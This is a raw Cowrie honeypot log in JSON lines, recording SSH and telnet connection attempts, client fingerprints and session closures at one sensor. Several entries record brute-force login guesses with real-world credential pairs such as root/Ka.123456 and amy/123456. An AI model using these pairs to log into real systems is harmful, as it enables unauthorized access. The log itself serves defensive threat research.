{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:09.076952Z","src_ip":"102.213.34.99","session":"713797e25869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:09.173882Z","src_ip":"159.203.92.129","session":"d91cc0d65bd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"patrick","password":"admin","message":"login attempt [patrick/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:09.790887Z","src_ip":"102.213.34.99","session":"713797e25869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:10.963468Z","src_ip":"102.213.34.99","session":"713797e25869","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":56280,"dst_ip":"10.17.0.5","dst_port":22,"session":"207b495877cb","protocol":"ssh","message":"New connection: 165.154.5.173:56280 (10.17.0.5:22) [session: 207b495877cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:14.161250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:14.166390Z","src_ip":"165.154.5.173","session":"207b495877cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:14.381596Z","src_ip":"165.154.5.173","session":"207b495877cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.0531542301178,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:14.902452Z","src_ip":"162.253.42.116","session":"fae18e616929","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator@123","message":"login attempt [administrator/administrator@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:15.270105Z","src_ip":"165.154.5.173","session":"207b495877cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:16.488387Z","src_ip":"165.154.5.173","session":"207b495877cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":33204,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fe53c600164","protocol":"ssh","message":"New connection: 194.59.206.2:33204 (10.17.0.5:22) [session: 8fe53c600164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:17.700649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:17.706197Z","src_ip":"194.59.206.2","session":"8fe53c600164","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:17.792516Z","src_ip":"194.59.206.2","session":"8fe53c600164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:17.882890Z","src_ip":"194.59.206.2","session":"8fe53c600164","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":50100,"dst_ip":"10.17.0.5","dst_port":23,"session":"136cb7ff60e2","protocol":"telnet","message":"New connection: 162.253.42.116:50100 (10.17.0.5:23) [session: 136cb7ff60e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:19.227493Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":54260,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d9b35885e5e","protocol":"telnet","message":"New connection: 162.253.42.116:54260 (10.17.0.5:23) [session: 7d9b35885e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:22.915131Z"}
{"eventid":"cowrie.session.closed","duration":34.42997074127197,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:31.139276Z","src_ip":"162.253.42.116","session":"6a3f4d4df1b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":36648,"dst_ip":"10.17.0.5","dst_port":23,"session":"f423af19388a","protocol":"telnet","message":"New connection: 162.253.42.116:36648 (10.17.0.5:23) [session: f423af19388a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:32.286285Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":42210,"dst_ip":"10.17.0.5","dst_port":23,"session":"fedcb0c90fd1","protocol":"telnet","message":"New connection: 162.253.42.116:42210 (10.17.0.5:23) [session: fedcb0c90fd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:37.041877Z"}
{"eventid":"cowrie.session.closed","duration":33.25851368904114,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:40.072698Z","src_ip":"162.253.42.116","session":"1f17dec22638","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":48908,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e789b4362e5","protocol":"telnet","message":"New connection: 162.253.42.116:48908 (10.17.0.5:23) [session: 5e789b4362e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:43.940390Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":52762,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5fb64cf88f0","protocol":"telnet","message":"New connection: 162.253.42.116:52762 (10.17.0.5:23) [session: e5fb64cf88f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:46.263927Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":53626,"dst_ip":"10.17.0.5","dst_port":23,"session":"79e71f77544b","protocol":"telnet","message":"New connection: 162.253.42.116:53626 (10.17.0.5:23) [session: 79e71f77544b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:47.038456Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":56010,"dst_ip":"10.17.0.5","dst_port":23,"session":"b43fc4cdc867","protocol":"telnet","message":"New connection: 162.253.42.116:56010 (10.17.0.5:23) [session: b43fc4cdc867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:50.183498Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56920,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7eb4e6ca7b6","protocol":"ssh","message":"New connection: 159.203.92.129:56920 (159.203.135.109:22) [session: a7eb4e6ca7b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:51.053359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:51.058025Z","src_ip":"159.203.92.129","session":"a7eb4e6ca7b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:51.062385Z","src_ip":"159.203.92.129","session":"a7eb4e6ca7b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amy","password":"123456","message":"login attempt [amy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:51.075066Z","src_ip":"159.203.92.129","session":"a7eb4e6ca7b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:52.080830Z","src_ip":"159.203.92.129","session":"a7eb4e6ca7b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":60514,"dst_ip":"10.17.0.5","dst_port":23,"session":"46d87d23a6f6","protocol":"telnet","message":"New connection: 162.253.42.116:60514 (10.17.0.5:23) [session: 46d87d23a6f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:53.330802Z"}
{"eventid":"cowrie.session.closed","duration":36.805989265441895,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:56.033350Z","src_ip":"162.253.42.116","session":"136cb7ff60e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.26564860343933,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:56.180638Z","src_ip":"162.253.42.116","session":"7d9b35885e5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":36452,"dst_ip":"10.17.0.5","dst_port":23,"session":"08cacc1c8fe6","protocol":"telnet","message":"New connection: 162.253.42.116:36452 (10.17.0.5:23) [session: 08cacc1c8fe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:13:57.260586Z"}
{"eventid":"cowrie.session.closed","duration":34.453174352645874,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:06.739323Z","src_ip":"162.253.42.116","session":"f423af19388a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":46754,"dst_ip":"10.17.0.5","dst_port":23,"session":"3889b0cba63c","protocol":"telnet","message":"New connection: 162.253.42.116:46754 (10.17.0.5:23) [session: 3889b0cba63c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:08.042659Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":58950,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ff8340ed175","protocol":"ssh","message":"New connection: 102.213.34.99:58950 (10.17.0.5:22) [session: 5ff8340ed175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:08.451628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:08.456382Z","src_ip":"102.213.34.99","session":"5ff8340ed175","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:08.626331Z","src_ip":"102.213.34.99","session":"5ff8340ed175","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":48962,"dst_ip":"10.17.0.5","dst_port":23,"session":"8edc4d871899","protocol":"telnet","message":"New connection: 162.253.42.116:48962 (10.17.0.5:23) [session: 8edc4d871899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:09.088606Z"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo12","message":"login attempt [odoo/odoo12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:09.338578Z","src_ip":"102.213.34.99","session":"5ff8340ed175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:10.522916Z","src_ip":"102.213.34.99","session":"5ff8340ed175","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":48710,"dst_ip":"10.17.0.5","dst_port":22,"session":"fab37711d895","protocol":"ssh","message":"New connection: 165.154.5.173:48710 (10.17.0.5:22) [session: fab37711d895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:16.928659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:16.933513Z","src_ip":"165.154.5.173","session":"fab37711d895","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:17.154189Z","src_ip":"165.154.5.173","session":"fab37711d895","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.649715423583984,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:17.691485Z","src_ip":"162.253.42.116","session":"fedcb0c90fd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":57538,"dst_ip":"10.17.0.5","dst_port":23,"session":"89005dbe52a1","protocol":"telnet","message":"New connection: 162.253.42.116:57538 (10.17.0.5:23) [session: 89005dbe52a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:18.015637Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ka.123456","message":"login attempt [root/Ka.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:18.068575Z","src_ip":"165.154.5.173","session":"fab37711d895","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.152","src_port":7092,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cff7eceacef","protocol":"telnet","message":"New connection: 64.62.197.152:7092 (159.203.135.109:23) [session: 4cff7eceacef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:18.433498Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:18.439350Z","src_ip":"64.62.197.152","session":"4cff7eceacef","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:14:18.445172Z","src_ip":"64.62.197.152","session":"4cff7eceacef","protocol":"telnet"}
